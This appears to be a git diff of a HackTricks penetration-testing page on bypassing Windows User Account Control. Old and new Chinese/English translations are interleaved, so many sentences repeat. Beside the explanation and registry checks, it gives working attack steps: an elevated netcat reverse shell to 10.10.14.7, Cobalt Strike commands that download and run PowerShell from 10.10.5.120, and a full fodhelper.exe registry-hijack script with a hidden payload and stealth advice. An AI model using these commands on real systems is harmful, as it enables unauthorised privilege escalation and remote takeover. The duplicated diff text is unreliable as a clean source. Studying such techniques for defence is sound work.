| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Disabled(禁用) |
|
||||
| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Prompt for consent for non-Windows binaries(对非 Windows 二进制文件提示同意) |
|
||||
| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Prompt for credentials on the secure desktop(在安全桌面上提示凭据) |
|
||||
| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Enabled (default for home) Disabled (default for enterprise)(家庭版默认启用,企业版默认禁用) |
|
||||
| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Disabled(禁用) |
|
||||
| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Enabled(启用) |
|
||||
| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Enabled(启用) |
|
||||
| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Enabled(启用) |
|
||||
| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Enabled(启用) |
|
||||
|
||||
### UAC 绕过理论
|
||||
### UAC 绕过原理
|
||||
|
||||
一些程序会在**用户属于** **管理员组**时**自动提升**。这些二进制文件在其 _**Manifests**_ 中具有 _**autoElevate**_ 选项,值为 _**True**_。该二进制文件还必须**由 Microsoft 签名**。
|
||||
如果用户属于**administrator group**,某些程序会被**自动提升(autoelevated)**。这些二进制文件在其 _**Manifests**_ 中包含了值为 _**autoElevate**_ 的选项并设置为 _**True**_。该二进制文件通常还需要**由 Microsoft 签名**。
|
||||
|
||||
许多自动提升的进程通过 **COM 对象或 RPC 服务器**暴露**功能**,可以从以中等完整性(常规用户级别权限)运行的进程中调用。请注意,COM(组件对象模型)和 RPC(远程过程调用)是 Windows 程序用于在不同进程之间进行通信和执行功能的方法。例如,**`IFileOperation COM 对象`**旨在处理文件操作(复制、删除、移动),并可以在没有提示的情况下自动提升权限。
|
||||
许多 auto-elevate 进程通过 **COM objects 或 RPC servers** 暴露功能,这些功能可以从具有 medium integrity(常规用户级别权限)的进程中调用。注意 COM (Component Object Model) 和 RPC (Remote Procedure Call) 是 Windows 程序用于在不同进程间通信和执行函数的方法。例如,**`IFileOperation COM object`** 用于处理文件操作(复制、删除、移动),并可以在不提示的情况下自动提升权限。
|
||||
|
||||
请注意,可能会执行一些检查,例如检查进程是否从**System32 目录**运行,这可以通过例如**注入到 explorer.exe**或其他位于 System32 的可执行文件来绕过。
|
||||
注意某些检查可能会被执行,比如检查进程是否从 **System32** 目录运行,这类检查可以通过例如 **向 explorer.exe 注入** 或注入另一个位于 System32 的可执行文件来绕过。
|
||||
|
||||
绕过这些检查的另一种方法是**修改 PEB**。Windows 中的每个进程都有一个进程环境块(PEB),其中包含有关进程的重要数据,例如其可执行路径。通过修改 PEB,攻击者可以伪造(欺骗)其恶意进程的位置,使其看起来是从受信任的目录(如 system32)运行的。这种伪造的信息欺骗了 COM 对象,使其在没有提示用户的情况下自动提升权限。
|
||||
另一种绕过这些检查的方法是修改 PEB。Windows 中的每个进程都有一个 Process Environment Block (PEB),其中包含有关进程的重要数据,例如其可执行文件路径。通过修改 PEB,攻击者可以伪造(spoof)其恶意进程的位置,使其看起来像是从受信任的目录(例如 system32)运行。这种伪造信息会欺骗 COM 对象,在不提示用户的情况下自动提升权限。
|
||||
|
||||
然后,为了**绕过** **UAC**(从**中等**完整性级别**提升到高**),一些攻击者使用这种类型的二进制文件来**执行任意代码**,因为它将从**高完整性进程**中执行。
|
||||
然后,为了**绕过 UAC**(将完整性级别从 **medium** 提升到 **high**),一些攻击者利用这类二进制文件来**执行任意代码**,因为该代码会在**高完整性级别进程**中执行。
|
||||
|
||||
您可以使用 Sysinternals 的工具 _**sigcheck.exe**_ 检查二进制文件的 _**Manifest**_。(`sigcheck.exe -m <file>`) 您可以使用 _Process Explorer_ 或 _Process Monitor_(来自 Sysinternals)查看进程的**完整性级别**。
|
||||
你可以使用来自 Sysinternals 的工具 _**sigcheck.exe**_ 检查二进制的 _**Manifest**_。(`sigcheck.exe -m <file>`)并且可以使用 _Process Explorer_ 或 _Process Monitor_(来自 Sysinternals)查看进程的 **integrity level**。
|
||||
|
||||
### 检查 UAC
|
||||
|
||||
@ -52,38 +52,38 @@ REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\
|
||||
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
|
||||
EnableLUA REG_DWORD 0x1
|
||||
```
|
||||
如果是 **`1`**,则 UAC **已激活**;如果是 **`0`** 或者 **不存在**,则 UAC **未激活**。
|
||||
如果是 **`1`** 则 UAC **已激活**,如果是 **`0`** 或者不存在,则 UAC **未激活**。
|
||||
|
||||
然后,检查 **配置了哪个级别**:
|
||||
然后,检查 **哪个级别** 被配置:
|
||||
```
|
||||
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
|
||||
|
||||
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
|
||||
ConsentPromptBehaviorAdmin REG_DWORD 0x5
|
||||
```
|
||||
- 如果 **`0`**,则 UAC 不会提示(如 **禁用**)
|
||||
- 如果 **`1`**,则管理员会被 **要求输入用户名和密码** 以高权限执行二进制文件(在安全桌面上)
|
||||
- 如果 **`2`** (**始终通知我**),UAC 将始终在管理员尝试以高权限执行某些操作时请求确认(在安全桌面上)
|
||||
- 如果 **`3`**,类似于 `1`,但不一定在安全桌面上
|
||||
- 如果 **`4`**,类似于 `2`,但不一定在安全桌面上
|
||||
- 如果 **`5`**(**默认**),它将要求管理员确认以高权限运行非 Windows 二进制文件
|
||||
- If **`0`** then, UAC won't prompt (like **disabled**)
|
||||
- If **`1`** the admin is **asked for username and password** to execute the binary with high rights (on Secure Desktop)
|
||||
- If **`2`** (**Always notify me**) UAC will always ask for confirmation to the administrator when he tries to execute something with high privileges (on Secure Desktop)
|
||||
- If **`3`** like `1` but not necessary on Secure Desktop
|
||||
- If **`4`** like `2` but not necessary on Secure Desktop
|
||||
- if **`5`**(**default**) it will ask the administrator to confirm to run non Windows binaries with high privileges
|
||||
|
||||
然后,您需要查看 **`LocalAccountTokenFilterPolicy`** 的值\
|
||||
如果值为 **`0`**,则只有 **RID 500** 用户(**内置管理员**)能够在 **没有 UAC** 的情况下执行 **管理员任务**,如果为 `1`,则 **“Administrators”** 组中的所有帐户都可以执行这些任务。
|
||||
然后,查看 **`LocalAccountTokenFilterPolicy`** 的值\
|
||||
如果该值是 **`0`**,那么只有 **RID 500** 用户(**built-in Administrator**)能够在 **没有 UAC** 的情况下执行管理员任务;如果是 `1`,则 **所有位于 "Administrators" 组内的账户** 都可以执行这些操作。
|
||||
|
||||
最后,查看 **`FilterAdministratorToken`** 键的值\
|
||||
如果 **`0`**(默认),则 **内置管理员帐户可以** 执行远程管理任务;如果 **`1`**,则内置管理员帐户 **无法** 执行远程管理任务,除非 `LocalAccountTokenFilterPolicy` 设置为 `1`。
|
||||
最后查看键 **`FilterAdministratorToken`** 的值\
|
||||
如果 **`0`**(默认),**built-in Administrator account can** 执行远程管理任务;如果 **`1`**,**built-in account Administrator cannot** 执行远程管理任务,除非 `LocalAccountTokenFilterPolicy` 被设置为 `1`。
|
||||
|
||||
#### 总结
|
||||
#### Summary
|
||||
|
||||
- 如果 `EnableLUA=0` 或 **不存在**,**对任何人都没有 UAC**
|
||||
- 如果 `EnableLua=1` 且 **`LocalAccountTokenFilterPolicy=1`,对任何人都没有 UAC**
|
||||
- 如果 `EnableLua=1` 且 **`LocalAccountTokenFilterPolicy=0` 且 `FilterAdministratorToken=0`,对 RID 500(内置管理员)没有 UAC**
|
||||
- 如果 `EnableLua=1` 且 **`LocalAccountTokenFilterPolicy=0` 且 `FilterAdministratorToken=1`,对所有人都有 UAC**
|
||||
- If `EnableLUA=0` or **doesn't exist**, **no UAC for anyone**
|
||||
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=1` , No UAC for anyone**
|
||||
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=0`, No UAC for RID 500 (Built-in Administrator)**
|
||||
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=1`, UAC for everyone**
|
||||
|
||||
所有这些信息可以通过 **metasploit** 模块收集: `post/windows/gather/win_privs`
|
||||
All this information can be gathered using the **metasploit** module: `post/windows/gather/win_privs`
|
||||
|
||||
您还可以检查用户的组并获取完整性级别:
|
||||
You can also check the groups of your user and get the integrity level:
|
||||
```
|
||||
net user %username%
|
||||
whoami /groups | findstr Level
|
||||
@ -91,31 +91,31 @@ whoami /groups | findstr Level
|
||||
## UAC 绕过
|
||||
|
||||
> [!TIP]
|
||||
> 请注意,如果您可以图形访问受害者,UAC 绕过是直接的,因为您可以在 UAC 提示出现时简单地点击“是”
|
||||
> 注意,如果你有受害者的图形界面访问权限,UAC 绕过非常简单,因为当 UAC 提示出现时你只需点击“是”。
|
||||
|
||||
UAC 绕过在以下情况下是必要的:**UAC 已激活,您的进程在中等完整性上下文中运行,并且您的用户属于管理员组**。
|
||||
UAC 绕过在以下情况下需要:**UAC 已启用,你的进程运行在中等完整性上下文(medium integrity context),并且你的用户属于 Administrators 组**。
|
||||
|
||||
重要的是要提到,如果 UAC 处于最高安全级别(始终),则**绕过 UAC 要比在其他任何级别(默认)下要困难得多**。
|
||||
需要指出的是,**如果 UAC 处于最高安全级别(Always),比起处于其他任何级别(Default)要难得多**。
|
||||
|
||||
### UAC 禁用
|
||||
### UAC 已禁用
|
||||
|
||||
如果 UAC 已经禁用(`ConsentPromptBehaviorAdmin` 为 **`0`**),您可以使用类似的方式**以管理员权限执行反向 shell**(高完整性级别):
|
||||
如果 UAC 已经被禁用(`ConsentPromptBehaviorAdmin` 是 **`0`**),你可以使用类似下面的方法**以管理员权限执行 reverse shell**(高完整性级别):
|
||||
```bash
|
||||
#Put your reverse shell instead of "calc.exe"
|
||||
Start-Process powershell -Verb runAs "calc.exe"
|
||||
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
|
||||
```
|
||||
#### UAC绕过与令牌复制
|
||||
#### UAC bypass with token duplication
|
||||
|
||||
- [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/)
|
||||
- [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html)
|
||||
|
||||
### **非常** 基本的UAC "绕过"(完全文件系统访问)
|
||||
### **非常** Basic UAC "bypass" (完整文件系统访问)
|
||||
|
||||
如果你有一个在管理员组内的用户的shell,你可以**通过SMB挂载C$**共享到一个新的磁盘上,你将**访问文件系统内的所有内容**(甚至是管理员的主文件夹)。
|
||||
If you have a shell with a user that is inside the Administrators group you can **mount the C$** shared via SMB (文件系统) local in a new disk and you will have **access to everything inside the file system** (even Administrator home folder).
|
||||
|
||||
> [!WARNING]
|
||||
> **看起来这个技巧不再有效**
|
||||
> **看起来这个技巧不再有效了**
|
||||
```bash
|
||||
net use Z: \\127.0.0.1\c$
|
||||
cd C$
|
||||
@ -123,9 +123,9 @@ cd C$
|
||||
#Or you could just access it:
|
||||
dir \\127.0.0.1\c$\Users\Administrator\Desktop
|
||||
```
|
||||
### UAC绕过与Cobalt Strike
|
||||
### UAC bypass with cobalt strike
|
||||
|
||||
Cobalt Strike技术仅在UAC未设置为最高安全级别时有效。
|
||||
Cobalt Strike 技术只有在 UAC 未设置为其最高安全级别时才会生效。
|
||||
```bash
|
||||
# UAC bypass via token duplication
|
||||
elevate uac-token-duplication [listener_name]
|
||||
@ -137,18 +137,18 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj
|
||||
# Bypass UAC with CMSTPLUA COM interface
|
||||
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
|
||||
```
|
||||
**Empire** 和 **Metasploit** 也有几个模块可以 **绕过** **UAC**。
|
||||
**Empire** 和 **Metasploit** 也有若干模块可以 **bypass** **UAC**。
|
||||
|
||||
### KRBUACBypass
|
||||
|
||||
文档和工具在 [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
|
||||
Documentation and tool in [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
|
||||
|
||||
### UAC 绕过漏洞
|
||||
### UAC bypass exploits
|
||||
|
||||
[**UACME** ](https://github.com/hfiref0x/UACME) 是几个 UAC 绕过漏洞的 **汇编**。请注意,您需要 **使用 Visual Studio 或 msbuild 编译 UACME**。编译将创建几个可执行文件(如 `Source\Akagi\outout\x64\Debug\Akagi.exe`),您需要知道 **您需要哪个**。\
|
||||
您应该 **小心**,因为某些绕过会 **提示其他程序**,这会 **警告** **用户** 有事情发生。
|
||||
[**UACME** ](https://github.com/hfiref0x/UACME) 是若干 UAC bypass exploits 的 **集合**。注意你需要使用 **Visual Studio 或 msbuild 来编译 UACME**。编译会生成多个可执行文件(例如 `Source\Akagi\outout\x64\Debug\Akagi.exe`),你需要知道 **哪个是你需要的。**\
|
||||
你应该 **小心**,因为某些 bypasses 会 **触发其他程序的提示**,从而 **提醒** **用户** 有异常发生。
|
||||
|
||||
UACME 有 **每个技术开始工作的构建版本**。您可以搜索影响您版本的技术:
|
||||
UACME 列出了每种技术开始生效的 **构建版本**。你可以搜索影响你版本的技术:
|
||||
```
|
||||
PS C:\> [environment]::OSVersion.Version
|
||||
|
||||
@ -158,39 +158,77 @@ Major Minor Build Revision
|
||||
```
|
||||
Also, using [this](https://en.wikipedia.org/wiki/Windows_10_version_history) page you get the Windows release `1607` from the build versions.
|
||||
|
||||
#### 更多 UAC 绕过
|
||||
### UAC Bypass – fodhelper.exe (Registry hijack)
|
||||
|
||||
**所有**在这里使用的绕过 AUC 的技术 **需要** 与受害者的 **完整交互式 shell**(一个普通的 nc.exe shell 不够)。
|
||||
受信任的二进制文件 `fodhelper.exe` 在较新的 Windows 上会自动提升权限。启动时,它会查询下面的每用户注册表路径,但不会验证 `DelegateExecute` 动作。在该位置植入命令可以让一个 Medium Integrity 进程(用户属于 Administrators)在不弹出 UAC 提示的情况下生成一个 High Integrity 进程。
|
||||
|
||||
你可以使用 **meterpreter** 会话获取。迁移到一个 **进程**,其 **Session** 值等于 **1**:
|
||||
Registry path queried by fodhelper:
|
||||
```
|
||||
HKCU\Software\Classes\ms-settings\Shell\Open\command
|
||||
```
|
||||
PowerShell 步骤 (设置你的 payload,然后触发):
|
||||
```powershell
|
||||
# Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability
|
||||
C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition"
|
||||
|
||||
# 1) Create the vulnerable key and values
|
||||
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null
|
||||
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | Out-Null
|
||||
|
||||
# 2) Set default command to your payload (example: reverse shell or cmd)
|
||||
# Replace <BASE64_PS> with your base64-encoded PowerShell (or any command)
|
||||
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -e <BASE64_PS>" -Force
|
||||
|
||||
# 3) Trigger auto-elevation
|
||||
Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe"
|
||||
|
||||
# 4) (Recommended) Cleanup
|
||||
Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force
|
||||
```
|
||||
Notes:
|
||||
- 当当前用户属于 Administrators 并且 UAC 级别为默认/宽松(不是设置为 Always Notify 并带有额外限制)时可行。
|
||||
- 使用 `sysnative` 路径在 64-bit Windows 上从 32-bit 进程启动 64-bit PowerShell。
|
||||
- Payload 可以是任何命令(PowerShell、cmd,或 EXE 路径)。为隐蔽起见,避免触发弹出提示界面。
|
||||
|
||||
#### 更多 UAC 绕过方法
|
||||
|
||||
**All** the techniques used here to bypass AUC **require** a **full interactive shell** with the victim (a common nc.exe shell is not enough).
|
||||
|
||||
You can get using a **meterpreter** session. Migrate to a **process** that has the **Session** value equals to **1**:
|
||||
|
||||
.png>)
|
||||
|
||||
(_explorer.exe_ 应该可以工作)
|
||||
(_explorer.exe_ 应该可行)
|
||||
|
||||
### 带 GUI 的 UAC 绕过
|
||||
### 使用 GUI 绕过 UAC
|
||||
|
||||
如果你有访问 **GUI 的权限,你可以在出现 UAC 提示时直接接受它**,你实际上不需要绕过它。因此,获取对 GUI 的访问将允许你绕过 UAC。
|
||||
如果可以访问 **GUI,你可以在弹出 UAC 提示时直接接受**,其实不需要真正的绕过方法。因此,获得 GUI 访问即可让你绕过 UAC。
|
||||
|
||||
此外,如果你获得了某人正在使用的 GUI 会话(可能通过 RDP),有 **一些工具将以管理员身份运行**,你可以 **直接以管理员身份运行** 例如 **cmd**,而无需再次被 UAC 提示,如 [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif)。这可能会更 **隐蔽**。
|
||||
此外,如果你获得了某人在使用的 GUI 会话(可能通过 RDP),会有 **一些以管理员身份运行的工具**,你可以从那里直接以管理员身份运行一个 **cmd**,例如 [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif),而不会再次被 UAC 提示打断。这可能更具 **隐蔽性**。
|
||||
|
||||
### 嘈杂的暴力破解 UAC 绕过
|
||||
### 嘈杂的强制提升 UAC 绕过
|
||||
|
||||
如果你不在乎嘈杂,你可以始终 **运行类似** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) 的工具,它 **要求提升权限直到用户接受**。
|
||||
如果你不在乎噪声,可以运行类似 [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) 的工具,它会不断请求权限提升,直到用户接受为止。
|
||||
|
||||
### 你自己的绕过 - 基本 UAC 绕过方法
|
||||
### 自行开发绕过方法 - 基本 UAC 绕过方法论
|
||||
|
||||
如果你查看 **UACME**,你会注意到 **大多数 UAC 绕过利用了 Dll Hijacking 漏洞**(主要是在 _C:\Windows\System32_ 中写入恶意 dll)。 [阅读此内容以了解如何找到 Dll Hijacking 漏洞](../windows-local-privilege-escalation/dll-hijacking/index.html)。
|
||||
如果查看 **UACME**,你会注意到 **大多数 UAC 绕过利用了 Dll Hijacking vulnerabilit**y(主要是将恶意 dll 写入 _C:\Windows\System32_)。[Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html).
|
||||
|
||||
1. 找到一个会 **自动提升** 的二进制文件(检查它执行时是否以高完整性级别运行)。
|
||||
2. 使用 procmon 查找 "**NAME NOT FOUND**" 事件,这些事件可能会受到 **DLL Hijacking** 的影响。
|
||||
3. 你可能需要 **写入** DLL 到一些 **受保护路径**(如 C:\Windows\System32),你没有写入权限。你可以使用以下方法绕过此限制:
|
||||
1. **wusa.exe**:Windows 7、8 和 8.1。它允许在受保护路径中提取 CAB 文件的内容(因为此工具是以高完整性级别执行的)。
|
||||
2. **IFileOperation**:Windows 10。
|
||||
4. 准备一个 **脚本** 将你的 DLL 复制到受保护路径并执行易受攻击的自动提升二进制文件。
|
||||
1. 找到会 **autoelevate** 的二进制(执行时在高完整性级别运行)。
|
||||
2. 使用 procmon 查找可以导致 **DLL Hijacking** 的 "**NAME NOT FOUND**" 事件。
|
||||
3. 你很可能需要将 DLL 写入一些 **受保护路径**(如 C:\Windows\System32),这些路径可能没有写权限。你可以使用以下方法绕过:
|
||||
1. **wusa.exe**: Windows 7,8 and 8.1。它允许将 CAB 文件的内容提取到受保护路径中(因为该工具以高完整性级别执行)。
|
||||
2. **IFileOperation**: Windows 10。
|
||||
4. 准备一个 **script**,将你的 DLL 复制到受保护路径并执行易受攻击且 autoelevated 的二进制。
|
||||
|
||||
### 另一种 UAC 绕过技术
|
||||
|
||||
该技术是观察一个 **自动提升的二进制文件** 是否尝试 **从注册表** 中 **读取** 要 **执行** 的 **二进制文件** 或 **命令** 的 **名称/路径**(如果二进制文件在 **HKCU** 中搜索此信息,这更有趣)。
|
||||
该方法是观察某个 **autoElevated binary** 是否尝试从 **registry** 读取将要 **执行** 的 **binary** 或 **command** 的 **name/path**(如果该二进制在 **HKCU** 中查找该信息则更为有趣)。
|
||||
|
||||
## References
|
||||
- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
|
||||
- [LOLBAS: Fodhelper.exe](https://lolbas-project.github.io/lolbas/Binaries/Fodhelper/)
|
||||
- [Microsoft Docs – How User Account Control works](https://learn.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works)
|
||||
- [UACME – UAC bypass techniques collection](https://github.com/hfiref0x/UACME)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user